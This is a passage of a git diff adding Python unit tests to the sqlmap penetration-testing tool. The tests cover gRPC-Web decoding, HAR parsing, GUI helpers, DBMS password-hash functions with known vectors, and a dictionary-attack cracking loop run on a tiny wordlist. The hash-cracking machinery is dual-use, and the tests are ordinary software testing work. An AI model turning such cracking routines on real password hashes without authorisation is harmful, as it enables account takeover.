+ self.assertEqual(json.loads(view), {"f1": "A12345678", "f2": "M1234"}) + + def test_non_grpc_and_binary_not_detected(self): + conf.httpHeaders = [("Content-Type", "application/json")] + self.assertEqual(grpcweb.decodeBody('{"a":"b"}'), (None, None)) + conf.httpHeaders = [("Content-Type", "application/grpc-web+proto")] # binary: deliberately out of scope + self.assertEqual(grpcweb.decodeBody(_grpcBody([[1, 2, b"x"]])), (None, None)) + + def test_encode_guards_bad_surrogate(self): + _, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"]])) + kb.grpcWeb = skeleton + self.assertEqual(grpcweb.encodeBody("[1,2,3]"), "[1,2,3]") # JSON scalar/array -> unchanged + self.assertEqual(grpcweb.encodeBody("not json"), "not json") + + +class TestResponse(unittest.TestCase): + def setUp(self): + self._g = kb.get("grpcWeb") + kb.grpcWeb = {"fields": [], "map": {}} # any truthy skeleton enables response decoding + + def tearDown(self): + kb.grpcWeb = self._g + + def _resp(self, frames, ct="application/grpc-web-text", extra=None): + page = base64.b64encode(b"".join(frames)).decode("ascii") if frames else "" + headers = {"Content-Type": ct} + if extra: + headers.update(extra) + return grpcweb.decodeResponse(page, headers) + + def test_message_and_trailer_rendered(self): + msg = grpcweb._frame(grpcweb._encode([[1, 0, 3], [2, 2, b"luther"]])) + trailer = b"\x80" + struct.pack(">I", len(b"grpc-status:0")) + b"grpc-status:0" + decoded = self._resp([msg, trailer]) + self.assertIn("3", decoded) + self.assertIn("luther", decoded) + self.assertIn("grpc-status:0", decoded) + + def test_backend_error_in_trailer(self): + tmsg = b"grpc-status:13\r\ngrpc-message:SQLite%20error%3A%20near%20syntax" + decoded = self._resp([b"\x80" + struct.pack(">I", len(tmsg)) + tmsg]) + self.assertIn("SQLite error: near syntax", decoded) # unquoted -> matchable by errors.xml + + def test_trailers_only_via_headers(self): + # empty body, status/message carried in response HEADERS (protocol-allowed trailers-only) + decoded = grpcweb.decodeResponse("", {"Content-Type": "application/grpc-web-text", + "grpc-status": "13", "grpc-message": "boom%20here"}) + self.assertIn("grpc-status:13", decoded) + self.assertIn("boom here", decoded) + + def test_response_content_type_gating(self): + # a non-grpc-web response (e.g. an HTML error page) must be left untouched + page = base64.b64encode(grpcweb._frame(b"\x08\x01")).decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": "text/html"}), page) + + def test_compressed_response_frame_falls_back(self): + page = base64.b64encode(b"\x01" + struct.pack(">I", 2) + b"\x08\x01").decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": "application/grpc-web-text"}), page) + + +class TestReviewRound2(unittest.TestCase): + """The three second-round blockers + smaller hardening.""" + + def setUp(self): + self._h, self._g = conf.httpHeaders, kb.get("grpcWeb") + conf.httpHeaders = list(TEXT_CT) + kb.grpcWeb = None + + def tearDown(self): + conf.httpHeaders, kb.grpcWeb = self._h, self._g + + def test_unrelated_json_body_not_converted(self): + # blocker #1: an unrelated JSON body on the shared request path must pass through untouched + _, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"]])) + kb.grpcWeb = skeleton + self.assertEqual(grpcweb.encodeBody('{"foo":"bar"}'), '{"foo":"bar"}') # different keys + self.assertEqual(grpcweb.encodeBody('{"f1":"x","extra":"y"}'), '{"f1":"x","extra":"y"}') # superset + # but the genuine surrogate (exact keys) IS transformed + self.assertNotEqual(grpcweb.encodeBody('{"f1":"x"}'), '{"f1":"x"}') + + def test_streaming_response_rejected(self): + kb.grpcWeb = {"fields": [], "map": {}} + two = grpcweb._frame(grpcweb._encode([[1, 2, b"a"]])) + grpcweb._frame(grpcweb._encode([[1, 2, b"b"]])) + page = base64.b64encode(two).decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": TEXT_CT[0][1]}), page) # falls back, no corruption + + def test_reserved_frame_flags_rejected(self): + # request: reserved flag byte -> not a valid gRPC-Web frame -> not detected + bad = b"\x02" + struct.pack(">I", 3) + grpcweb._encode([[1, 2, b"x"]]) + self.assertRaises(ValueError, grpcweb._unframe, bad) + # response: 0x82 (trailer + reserved bit) rejected -> fall back + kb.grpcWeb = {"fields": [], "map": {}} + page = base64.b64encode(b"\x82" + struct.pack(">I", 3) + b"a=0").decode("ascii") + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": TEXT_CT[0][1]}), page) + + def test_strict_base64(self): + self.assertRaises(ValueError, grpcweb._b64decode, "!!!!") # invalid chars + self.assertRaises(ValueError, grpcweb._b64decode, "AAA") # bad length + self.assertRaises(ValueError, grpcweb._b64decode, "AAAA=BCD") # stray mid-quantum pad + # independently-padded chunks ARE accepted (reconstruct the concatenation) - a unary text + # response may legitimately be flushed as separate padded base64 segments + a, b = b"hello", b"world!!" + chunks = base64.b64encode(a).decode("ascii") + base64.b64encode(b).decode("ascii") + self.assertEqual(grpcweb._b64decode(chunks), a + b) + + def test_strict_media_type(self): + conf.httpHeaders = [("Content-Type", "application/grpc-web-textual")] # not the real type + self.assertEqual(grpcweb.decodeBody(_grpcBody([[1, 2, b"x"]])), (None, None)) + conf.httpHeaders = [("Content-Type", "application/grpc-web-text; charset=utf-8")] # params OK + view, _ = grpcweb.decodeBody(_grpcBody([[1, 2, b"x"]])) + self.assertIsNotNone(view) + + def test_header_status_preserved_on_body_failure(self): + kb.grpcWeb = {"fields": [], "map": {}} + raw = b"\x00" + struct.pack(">I", 5) + b"ab" # declares 5, has 2 -> body parse fails + page = base64.b64encode(raw).decode("ascii") + decoded = grpcweb.decodeResponse(page, {"Content-Type": TEXT_CT[0][1], "grpc-status": "13"}) + self.assertIn("grpc-status:13", decoded) # header status not lost + self.assertIn(page, decoded) # raw page still available to the oracle + + def test_varint_and_field_number_bounds(self): + self.assertRaises(ValueError, grpcweb._readVarint, b"\xff" * 9 + b"\x02", 0) # > 64 bits + # field number above the protobuf max (2**29 - 1) + big = grpcweb._writeVarint(((0x1fffffff + 1) << 3) | 2) + b"\x01a" + self.assertRaises(ValueError, grpcweb._decode, big) + + +class TestReviewRound3(unittest.TestCase): + """Media-type +proto acceptance, Accept negotiation helper, unsupported-CT body preservation.""" + + def setUp(self): + self._h, self._g = conf.httpHeaders, kb.get("grpcWeb") + kb.grpcWeb = None + + def tearDown(self): + conf.httpHeaders, kb.grpcWeb = self._h, self._g + + def test_proto_media_type_accepted(self): + for ct in ("application/grpc-web-text+proto", "application/grpc-web-text+proto; charset=utf-8"): + conf.httpHeaders = [("Content-Type", ct)] + view, _ = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"]])) + self.assertEqual(json.loads(view), {"f1": "alice"}, "CT %r not accepted" % ct) + + def test_accepts_text_content_type_helper(self): + self.assertFalse(grpcweb.acceptsTextContentType("*/*")) + self.assertFalse(grpcweb.acceptsTextContentType("application/json")) + self.assertTrue(grpcweb.acceptsTextContentType("application/grpc-web-text")) + self.assertTrue(grpcweb.acceptsTextContentType("application/json, application/grpc-web-text+proto")) + + def test_unsupported_response_ct_preserves_body_and_status(self): + kb.grpcWeb = {"fields": [], "map": {}} + page = base64.b64encode(grpcweb._frame(b"\x08\x01")).decode("ascii") + decoded = grpcweb.decodeResponse(page, {"Content-Type": "text/html", "grpc-status": "2"}) + self.assertIn("grpc-status:2", decoded) # header status kept + self.assertIn(page, decoded) # body not dropped + # and with no status, an unsupported-CT body is returned unchanged + self.assertEqual(grpcweb.decodeResponse(page, {"Content-Type": "text/html"}), page) + + def test_proto_response_ct_decoded(self): + kb.grpcWeb = {"fields": [], "map": {}} + msg = grpcweb._frame(grpcweb._encode([[2, 2, b"luther"]])) + page = base64.b64encode(msg).decode("ascii") + self.assertIn("luther", grpcweb.decodeResponse(page, {"Content-Type": "application/grpc-web-text+proto"})) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_gui_helpers.py b/tests/test_gui_helpers.py new file mode 100644 index 00000000000..bc8fc37b3d8 --- /dev/null +++ b/tests/test_gui_helpers.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Parser-introspection helpers in lib/utils/gui.py. The GUI itself needs a live +display (Tk), so it is excluded from the smoke test and never imported there; +these module-level helpers, however, are pure and work on argparse/optparse +parser+option objects. We exercise BOTH backends (argparse natively, optparse +via a lightweight stand-in) so the compatibility branches are walked. Importing +the module also covers its (otherwise-uncovered) top-level definitions. +""" + +import argparse +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import gui + + +class _OptparseLikeOption(object): + """Minimal optparse.Option stand-in (drives the non-argparse branches).""" + def __init__(self, short, long_, dest, help_, type_=None, takes=True): + self._short_opts = [short] if short else [] + self._long_opts = [long_] if long_ else [] + self.dest = dest + self.help = help_ + self.type = type_ + self._takes = takes + + def takes_value(self): + return self._takes + + +class _OptparseLikeGroup(object): + def __init__(self, title, description, options): + self.title = title + self.description = description + self.option_list = options + + def get_description(self): + return self.description + + +def _build_argparse(): + p = argparse.ArgumentParser() + g = p.add_argument_group("Target", "options for the target") + g.add_argument("-u", "--url", dest="url", help="target url") + g.add_argument("--level", dest="level", type=int, help="level", choices=[1, 2, 3]) + g.add_argument("--flag", dest="flag", action="store_true", help="a boolean") + return p, g + + +class TestArgparseBackend(unittest.TestCase): + def setUp(self): + self.parser, self.group = _build_argparse() + + def test_parser_groups_found(self): + groups = gui._parserGroups(self.parser) + titles = [gui._groupTitle(g) for g in groups] + self.assertIn("Target", titles) + + def test_group_options_and_metadata(self): + opts = gui._groupOptions(self.group) + self.assertTrue(opts) + self.assertEqual(gui._groupDescription(self.group), "options for the target") + + def test_opt_accessors(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + url = by_dest["url"] + self.assertIn("--url", gui._optStrings(url)) + self.assertEqual(gui._optHelp(url), "target url") + self.assertTrue(gui._optTakesValue(url)) + self.assertEqual(gui._optValueType(url), "string") + self.assertIn("--url", gui._optionLabel(url)) + + def test_int_type_and_choices(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + level = by_dest["level"] + self.assertEqual(gui._optValueType(level), "int") + self.assertEqual(gui._optChoices(level), [1, 2, 3]) + + def test_store_true_takes_no_value(self): + opts = gui._groupOptions(self.group) + by_dest = dict((gui._optDest(o), o) for o in opts) + self.assertFalse(gui._optTakesValue(by_dest["flag"])) + + +class TestOptparseBackend(unittest.TestCase): + def setUp(self): + self.opt = _OptparseLikeOption("-u", "--url", "url", "target url", type_="string") + self.intopt = _OptparseLikeOption(None, "--level", "level", "level", type_="int") + self.boolopt = _OptparseLikeOption(None, "--flag", "flag", "flag", takes=False) + self.group = _OptparseLikeGroup("Target", "target opts", [self.opt, self.intopt, self.boolopt]) + + def test_opt_strings_from_short_long(self): + self.assertEqual(gui._optStrings(self.opt), ["-u", "--url"]) + + def test_value_type_and_takes(self): + self.assertEqual(gui._optValueType(self.intopt), "int") + self.assertTrue(gui._optTakesValue(self.opt)) + self.assertFalse(gui._optTakesValue(self.boolopt)) + + def test_group_description_via_method(self): + self.assertEqual(gui._groupDescription(self.group), "target opts") + self.assertEqual(gui._groupOptions(self.group), [self.opt, self.intopt, self.boolopt]) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_har.py b/tests/test_har.py new file mode 100644 index 00000000000..9b614262493 --- /dev/null +++ b/tests/test_har.py @@ -0,0 +1,201 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for lib/utils/har.py -- HAR (HTTP Archive) collector and HTTP +request/response parsing used by sqlmap's --har-file feature. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import har as H + + +class TestFakeSocket(unittest.TestCase): + def test_makefile_returns_bytesio(self): + sock = H.FakeSocket(b"hello\r\n") + f = sock.makefile() + self.assertEqual(f.read(), b"hello\r\n") + + +class TestRawPair(unittest.TestCase): + def test_stores_fields(self): + pair = H.RawPair(b"GET / HTTP/1.0\r\n\r\n", + b"HTTP/1.0 200 OK\r\n\r\n", + startTime=1000, endTime=2000) + self.assertEqual(pair.request, b"GET / HTTP/1.0\r\n\r\n") + self.assertEqual(pair.response, b"HTTP/1.0 200 OK\r\n\r\n") + self.assertEqual(pair.startTime, 1000) + self.assertEqual(pair.endTime, 2000) + + +class TestHTTPCollector(unittest.TestCase): + def test_collect_and_obtain(self): + c = H.HTTPCollector() + c.collectRequest(b"GET / HTTP/1.0\r\nHost: example.com\r\n\r\n", + b"HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\nbody", + startTime=1000, endTime=2000) + result = c.obtain() + log = result["log"] + self.assertEqual(log["version"], "1.2") + self.assertEqual(log["creator"]["name"], "sqlmap") + entries = log["entries"] + self.assertEqual(len(entries), 1) + self.assertEqual(entries[0]["request"]["method"], "GET") + self.assertEqual(entries[0]["response"]["status"], 200) + + +class TestHTTPCollectorFactory(unittest.TestCase): + def test_create_returns_collector(self): + f = H.HTTPCollectorFactory(harFile=True) + c = f.create() + self.assertIsInstance(c, H.HTTPCollector) + + +class TestEntry(unittest.TestCase): + def test_toDict(self): + req = H.Request("GET", "/path", "HTTP/1.1", + {"Host": "example.com"}) + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "text/html"}, b"body") + entry = H.Entry(req, resp, startTime=1000, endTime=2000, + extendedArguments={}) + d = entry.toDict() + self.assertEqual(d["request"]["method"], "GET") + self.assertEqual(d["response"]["status"], 200) + self.assertEqual(d["time"], 1000000) + self.assertIn("startedDateTime", d) + + +class TestRequest(unittest.TestCase): + def test_parse_simple_get(self): + raw = b"GET /path HTTP/1.1\r\nHost: example.com\r\n\r\n" + req = H.Request.parse(raw) + self.assertEqual(req.method, "GET") + self.assertEqual(req.path, "/path") + self.assertEqual(req.httpVersion, "HTTP/1.1") + self.assertEqual(req.headers.get("Host"), "example.com") + + def test_parse_with_comment(self): + raw = (b"HTTP request [#1]:\r\n" + b"POST /submit HTTP/1.0\r\n" + b"Host: example.com\r\n" + b"Content-Type: text/plain\r\n" + b"Content-Length: 4\r\n" + b"\r\n" + b"body") + req = H.Request.parse(raw) + self.assertEqual(req.method, "POST") + self.assertEqual(req.path, "/submit") + self.assertEqual(req.comment, b"HTTP request [#1]:") + self.assertIn(b"body", req.postBody) + + def test_toDict(self): + req = H.Request("GET", "/", "HTTP/1.0", + {"Host": "test.com", "Accept": "*/*"}) + d = req.toDict() + self.assertEqual(d["method"], "GET") + self.assertEqual(d["url"], "http://test.com/") + self.assertEqual(len(d["headers"]), 2) + + def test_toDict_with_postbody(self): + req = H.Request("POST", "/", "HTTP/1.1", + {"Host": "test.com", "Content-Type": "application/json"}, + postBody=b'{"a":1}') + d = req.toDict() + self.assertEqual(d["postData"]["mimeType"], "application/json") + self.assertIn('{"a":1}', d["postData"]["text"]) + + def test_toDict_binary_postbody_base64(self): + # Regression: a non-UTF-8 (binary) POST body - e.g. a raw file upload - must be base64-encoded + # losslessly, not mangled through a lossy text decode, so the exported HAR reproduces the request. + # Mirrors the Response.toDict() contract (see TestResponse.test_toDict_binary_content_encoded). + import base64 as _b64 + payload = b"\xff\xd8\xff\xe0\x00\x10JFIF" # JPEG header: invalid UTF-8, contains a NUL + req = H.Request("POST", "/upload", "HTTP/1.1", + {"Host": "test.com", "Content-Type": "application/octet-stream"}, + postBody=payload) + d = req.toDict() + self.assertEqual(d["postData"]["encoding"], "base64") + self.assertEqual(_b64.b64decode(d["postData"]["text"]), payload) # losslessly reconstructable + + def test_url_property(self): + req = H.Request("GET", "/path?q=1", "HTTP/1.0", + {"Host": "example.com"}) + self.assertEqual(req.url, "http://example.com/path?q=1") + + def test_url_no_host_header(self): + req = H.Request("GET", "/", "HTTP/1.0", {}) + self.assertIn("unknown", req.url) + + +class TestResponse(unittest.TestCase): + def test_parse_simple(self): + raw = b"HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nContent-Length: 4\r\n\r\nbody" + resp = H.Response.parse(raw) + self.assertEqual(resp.status, 200) + self.assertEqual(resp.statusText, "OK") + self.assertEqual(resp.headers.get("Content-Type"), "text/html") + self.assertEqual(resp.content, b"body") + + def test_parse_with_comment(self): + raw = (b"HTTP response [#1] (200 Fine):\r\n" + b"HTTP/1.0 200 Fine\r\n" + b"Content-Type: text/plain\r\n" + b"\r\n" + b"response body") + resp = H.Response.parse(raw) + self.assertEqual(resp.status, 200) + self.assertEqual(resp.statusText, "Fine") + self.assertIn(b"HTTP response", resp.comment) + + def test_toDict(self): + resp = H.Response("HTTP/1.1", 404, "Not Found", + {"Content-Type": "text/html"}, b"not found") + d = resp.toDict() + self.assertEqual(d["status"], 404) + self.assertEqual(d["statusText"], "Not Found") + self.assertEqual(d["content"]["text"], "not found") + self.assertEqual(d["content"]["size"], 9) + + def test_toDict_binary_content_encoded(self): + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "application/octet-stream"}, + b"\x00\x01\xff") + d = resp.toDict() + self.assertEqual(d["content"]["encoding"], "base64") + + def test_toDict_binary_without_null_still_base64(self): + # regression: binary content lacking NUL/0x01 (e.g. a JPEG header) must still be + # base64-encoded, not mangled into the "text" field as a lossy decode + import base64 as _b64 + jpeg = b"\xff\xd8\xff\xe0\x10JFIF\x02\x03" + d = H.Response("HTTP/1.1", 200, "OK", {"Content-Type": "image/jpeg"}, jpeg).toDict() + self.assertEqual(d["content"]["encoding"], "base64") + self.assertEqual(_b64.b64decode(d["content"]["text"]), jpeg) # lossless + + def test_toDict_utf8_multibyte_stays_text(self): + # valid UTF-8 (incl. multibyte) is human-readable text, not base64 + original = b"caf\xc3\xa9 \xe4\xbd\xa0\xe5\xa5\xbd".decode("utf-8") # cafe+e-acute+two CJK, pure-ASCII source + d = H.Response("HTTP/1.1", 200, "OK", {"Content-Type": "text/plain; charset=utf-8"}, + original.encode("utf-8")).toDict() + self.assertNotIn("encoding", d["content"]) + self.assertEqual(d["content"]["text"], original) + + def test_toDict_non_text_content(self): + resp = H.Response("HTTP/1.1", 200, "OK", + {"Content-Type": "text/plain"}, b"plain text") + d = resp.toDict() + self.assertEqual(d["content"]["text"], "plain text") + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hash.py b/tests/test_hash.py new file mode 100644 index 00000000000..e7eb6e6e9a6 --- /dev/null +++ b/tests/test_hash.py @@ -0,0 +1,155 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Password-hashing primitives (lib/utils/hash.py) used by the dictionary-attack +cracker (-? / --passwords). These are pure functions; correctness here is what +makes a cracked password actually match the target hash. + +The generic hashes are cross-checked against the stdlib hashlib (an INDEPENDENT +oracle, not just a regression against sqlmap's own output). The DBMS-specific +algorithms (MySQL/MSSQL/Oracle/Postgres) are pinned to known vectors, and +hashRecognition's classification is exercised as a table. +""" + +import hashlib +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import hash as H +from lib.core.enums import HASH + + +class TestGenericVsHashlib(unittest.TestCase): + """Independent oracle: sqlmap's generic hashes must equal stdlib hashlib.""" + + PW = "testpass" + + def test_md5(self): + self.assertEqual(H.md5_generic_passwd(self.PW), hashlib.md5(b"testpass").hexdigest()) + + def test_sha1(self): + self.assertEqual(H.sha1_generic_passwd(self.PW), hashlib.sha1(b"testpass").hexdigest()) + + def test_sha224(self): + self.assertEqual(H.sha224_generic_passwd(self.PW), hashlib.sha224(b"testpass").hexdigest()) + + def test_sha256(self): + self.assertEqual(H.sha256_generic_passwd(self.PW), hashlib.sha256(b"testpass").hexdigest()) + + def test_sha384(self): + self.assertEqual(H.sha384_generic_passwd(self.PW), hashlib.sha384(b"testpass").hexdigest()) + + def test_sha512(self): + self.assertEqual(H.sha512_generic_passwd(self.PW), hashlib.sha512(b"testpass").hexdigest()) + + +class TestUppercase(unittest.TestCase): + def test_uppercase_flag(self): + self.assertEqual(H.md5_generic_passwd("testpass", uppercase=True), + hashlib.md5(b"testpass").hexdigest().upper()) + + def test_lowercase_default(self): + out = H.md5_generic_passwd("testpass", uppercase=False) + self.assertEqual(out, out.lower()) + + +class TestDbmsSpecificVectors(unittest.TestCase): + """Known vectors for the DBMS-native algorithms (mirrors the docstrings).""" + + def test_mysql(self): + self.assertEqual(H.mysql_passwd("testpass", uppercase=True), + "*00E247AC5F9AF26AE0194B41E1E769DEE1429A29") + + def test_mysql_old(self): + self.assertEqual(H.mysql_old_passwd("testpass", uppercase=True), "7DCDA0D57290B453") + + def test_postgres(self): + self.assertEqual(H.postgres_passwd("testpass", "testuser", uppercase=False), + "md599e5ea7a6f7c3269995cba3927fd0093") + + def test_mssql(self): + self.assertEqual(H.mssql_passwd("testpass", salt="4086ceb6", uppercase=False), + "0x01004086ceb60c90646a8ab9889fe3ed8e5c150b5460ece8425a") + + def test_oracle(self): + self.assertEqual(H.oracle_passwd("SHAlala", salt="1B7B5F82B7235E9E182C", uppercase=True), + "S:2BFCFDF5895014EE9BB2B9BA067B01E0389BB5711B7B5F82B7235E9E182C") + + def test_oracle_old(self): + self.assertEqual(H.oracle_old_passwd("tiger", "scott", uppercase=True), "F894844C34402B67") + + +class TestCryptGenericBytesInput(unittest.TestCase): + """ + The dictionary-attack workers (_bruteProcessVariantA/B in lib/utils/hash.py) always pass + 'password' as bytes (getBytes(word)), regardless of which hash function gets dispatched. Every + other function here hashes via hashlib (bytes-friendly), but crypt_generic_passwd forwards + straight to the stdlib crypt.crypt(), which requires str - raising 'TypeError: crypt() argument + 1 must be str, not bytes' on Linux/macOS (reported via a user's cracked-hash session). + """ + + def test_bytes_password_does_not_raise(self): + self.assertEqual(H.crypt_generic_passwd(password=b"rasmuslerdorf", salt="rl", uppercase=False), "rl.3StKT.4T8M") + + def test_str_password_unaffected(self): + self.assertEqual(H.crypt_generic_passwd(password="rasmuslerdorf", salt="rl", uppercase=False), "rl.3StKT.4T8M") + + +class TestMssqlUnicodePassword(unittest.TestCase): + """MSSQL hashes the password as UCS-2/UTF-16LE. A per-char 'utf-8 + NUL' approximation is only + correct for ASCII, so non-ASCII passwords (cafe, etc.) hashed WRONG and were uncrackable. The + 2012+ (SHA-512) ground truth is a live PWDENCRYPT(N'caf'+NCHAR(233)) from Azure SQL Edge.""" + + CAFE = u"caf\xe9" + + def test_mssql_new_matches_live_pwdencrypt(self): + real = ("0x0200a0d961e49fc45ec4922793c4f0b278587e977b281c10871a30a6e620ab0c24c" + "dce517f208252d6e5ca608d958c89aff5c69061cc6c788854e3e0788cb2510e227481990d") + self.assertEqual(H.mssql_new_passwd(self.CAFE, salt="a0d961e4", uppercase=False), real) + + def test_mssql_matches_documented_algorithm(self): + # 2005/2008: 0x0100 + salt + SHA1(UTF16LE(password) + salt) + salt = "4086ceb6" + expected = "0x0100%s%s" % (salt, hashlib.sha1(self.CAFE.encode("utf-16-le") + bytearray.fromhex(salt)).hexdigest()) + self.assertEqual(H.mssql_passwd(self.CAFE, salt=salt, uppercase=False), expected) + + def test_ascii_unchanged(self): + # the fix must leave the ASCII path identical (still the documented UTF-16LE form) + salt = "4086ceb6" + expected = "0x0100%s%s" % (salt, hashlib.sha1(u"testpass".encode("utf-16-le") + bytearray.fromhex(salt)).hexdigest()) + self.assertEqual(H.mssql_passwd("testpass", salt=salt, uppercase=False), expected) + + +class TestHashRecognition(unittest.TestCase): + def test_md5_generic(self): + self.assertEqual(H.hashRecognition("179ad45c6ce2cb97cf1029e212046e81"), HASH.MD5_GENERIC) + + def test_sha1_generic(self): + self.assertEqual(H.hashRecognition("206c80413b9a96c1312cc346b7d2517b84463edd"), HASH.SHA1_GENERIC) + + def test_mysql(self): + self.assertEqual(H.hashRecognition("*00E247AC5F9AF26AE0194B41E1E769DEE1429A29"), HASH.MYSQL) + + def test_crypt_generic(self): + # Traditional DES crypt(3) (hashcat -m 1500); mixed-case is required by the heuristic + self.assertEqual(H.hashRecognition("rl.3StKT.4T8M"), HASH.CRYPT_GENERIC) + + def test_crypt_generic_single_case_is_none(self): + # All-lower/all-upper 13-char values are too greedy to be trusted as crypt + self.assertIsNone(H.hashRecognition("abcdefghijklm")) + self.assertIsNone(H.hashRecognition("ABCDEFGHIJKLM")) + + def test_junk_is_none(self): + self.assertIsNone(H.hashRecognition("foobar")) + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_hash_crack.py b/tests/test_hash_crack.py new file mode 100644 index 00000000000..3d61d00d14c --- /dev/null +++ b/tests/test_hash_crack.py @@ -0,0 +1,232 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Dictionary-attack machinery in lib/utils/hash.py (the cracking loop, hash-file +parsing, result storage and table/cache post-processing) - the part NOT covered +by tests/test_hash.py, which only exercises the pure hash-format functions. + +These run the single-process cracking path (conf.disableMulti=True) against a +TINY temp wordlist that contains the known plaintext, so a known hash is cracked +deterministically in milliseconds without interactive prompts, multiprocessing +pools, network, or the real default dictionary. conf.hashDB is forced to None so +hashDBRetrieve/hashDBWrite become no-ops (no session DB side effects). +""" + +import glob +import hashlib +import os +import sys +import tempfile +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils import hash as H +from lib.core.data import conf, kb +from lib.core.enums import MKSTEMP_PREFIX + +import atexit +import shutil +SCRATCH = tempfile.mkdtemp(prefix="sqlmap_test_hashcrack_") +atexit.register(lambda: shutil.rmtree(SCRATCH, ignore_errors=True)) + +# known plaintext / hashes shared across tests +PW = "testpass" +MD5_HASH = hashlib.md5(PW.encode("utf-8")).hexdigest() + + +class _CrackBase(unittest.TestCase): + """Sets up a tiny wordlist and non-interactive, no-DB, single-process state.""" + + @classmethod + def setUpClass(cls): + cls._tmpfiles = [] + + # tiny wordlist containing the known plaintext (plus decoys) + cls.wordlist = os.path.join(SCRATCH, "test_hash_crack_wl.txt") + with open(cls.wordlist, "w") as f: + f.write("foo\nbar\n%s\nbaz\n" % PW) + cls._tmpfiles.append(cls.wordlist) + + @classmethod + def tearDownClass(cls): + for path in cls._tmpfiles: + try: + os.remove(path) + except OSError: + pass + + def setUp(self): + # snapshot global state we mutate + self._saved = { + "disableMulti": conf.disableMulti, + "hashDB": conf.hashDB, + "hashFile": conf.hashFile, + "wordlists": kb.wordlists, + "cachedUsersPasswords": kb.data.cachedUsersPasswords if "cachedUsersPasswords" in kb.data else None, + "storeHashes": kb.choices.storeHashes if "storeHashes" in kb.choices else None, + } + + # deterministic, fast, side-effect-free cracking + conf.disableMulti = True + conf.hashDB = None + kb.wordlists = [self.wordlist] + + # cracking prints "[INFO] cracked password ..." via dataToStdout(forceOutput=True), which + # bypasses both the logger and kb.wizardMode suppression; redirect stdout so the unittest + # report stays clean (these tests assert on return values/kb, never on console output). + self._saved_stdout = sys.stdout + sys.stdout = open(os.devnull, "w") + + def tearDown(self): + if getattr(self, "_saved_stdout", None) is not None: + try: + sys.stdout.close() + finally: + sys.stdout = self._saved_stdout + conf.disableMulti = self._saved["disableMulti"] + conf.hashDB = self._saved["hashDB"] + conf.hashFile = self._saved["hashFile"] + kb.wordlists = self._saved["wordlists"] + kb.data.cachedUsersPasswords = self._saved["cachedUsersPasswords"] + kb.choices.storeHashes = self._saved["storeHashes"] + + +class TestDictionaryAttack(_CrackBase): + def test_crack_md5_generic_variant_a(self): + # generic (no-salt) algorithms go through _bruteProcessVariantA + results = H.dictionaryAttack({"admin": [MD5_HASH]}) + self.assertEqual(results, [("admin", MD5_HASH, PW)]) + + def test_crack_postgres_variant_b(self): + # username-dependent algorithm goes through _bruteProcessVariantB + h = H.postgres_passwd(PW, "testuser", uppercase=False) + results = H.dictionaryAttack({"testuser": [h]}) + self.assertEqual(results, [("testuser", h, PW)]) + + def test_crack_django_md5_salted_variant_b(self): + # salted algorithm: salt is parsed out of the stored hash by dictionaryAttack + h = H.django_md5_passwd(PW, "salt") + results = H.dictionaryAttack({"u2": [h]}) + self.assertEqual(results, [("u2", h, PW)]) + + def test_no_password_found_returns_empty(self): + # plaintext not in wordlist -> nothing cracked + h = hashlib.md5(b"not-in-wordlist-xyz").hexdigest() + results = H.dictionaryAttack({"admin": [h]}) + self.assertEqual(results, []) + + def test_unknown_hash_format_ignored(self): + # a value that hashRecognition rejects produces no hash_regexes and no results + results = H.dictionaryAttack({"admin": ["not_a_hash"]}) + self.assertEqual(results, []) + + def test_empty_attack_dict(self): + self.assertEqual(H.dictionaryAttack({}), []) + + +class TestCrackHashFile(_CrackBase): + def setUp(self): + super(TestCrackHashFile, self).setUp() + # capture the parsed attack_dict that crackHashFile feeds to dictionaryAttack + self._captured = {} + self._real_attack = H.dictionaryAttack + + def _capture(attack_dict): + self._captured.clear() + self._captured.update(attack_dict) + return [] + + H.dictionaryAttack = _capture + + def tearDown(self): + H.dictionaryAttack = self._real_attack + super(TestCrackHashFile, self).tearDown() + + def test_user_colon_hash_file(self): + path = os.path.join(SCRATCH, "test_hash_crack_hashes.txt") + with open(path, "w") as f: + f.write("admin:%s\n" % MD5_HASH) + self._tmpfiles.append(path) + + conf.hashFile = path + self.assertIsNone(H.crackHashFile(path)) + + # the "user:hash" line is parsed into {username: [hash]} + self.assertEqual(self._captured, {"admin": [MD5_HASH]}) + + def test_bare_hash_file(self): + # no "user:hash" structure -> a dummy user is synthesised per line + path = os.path.join(SCRATCH, 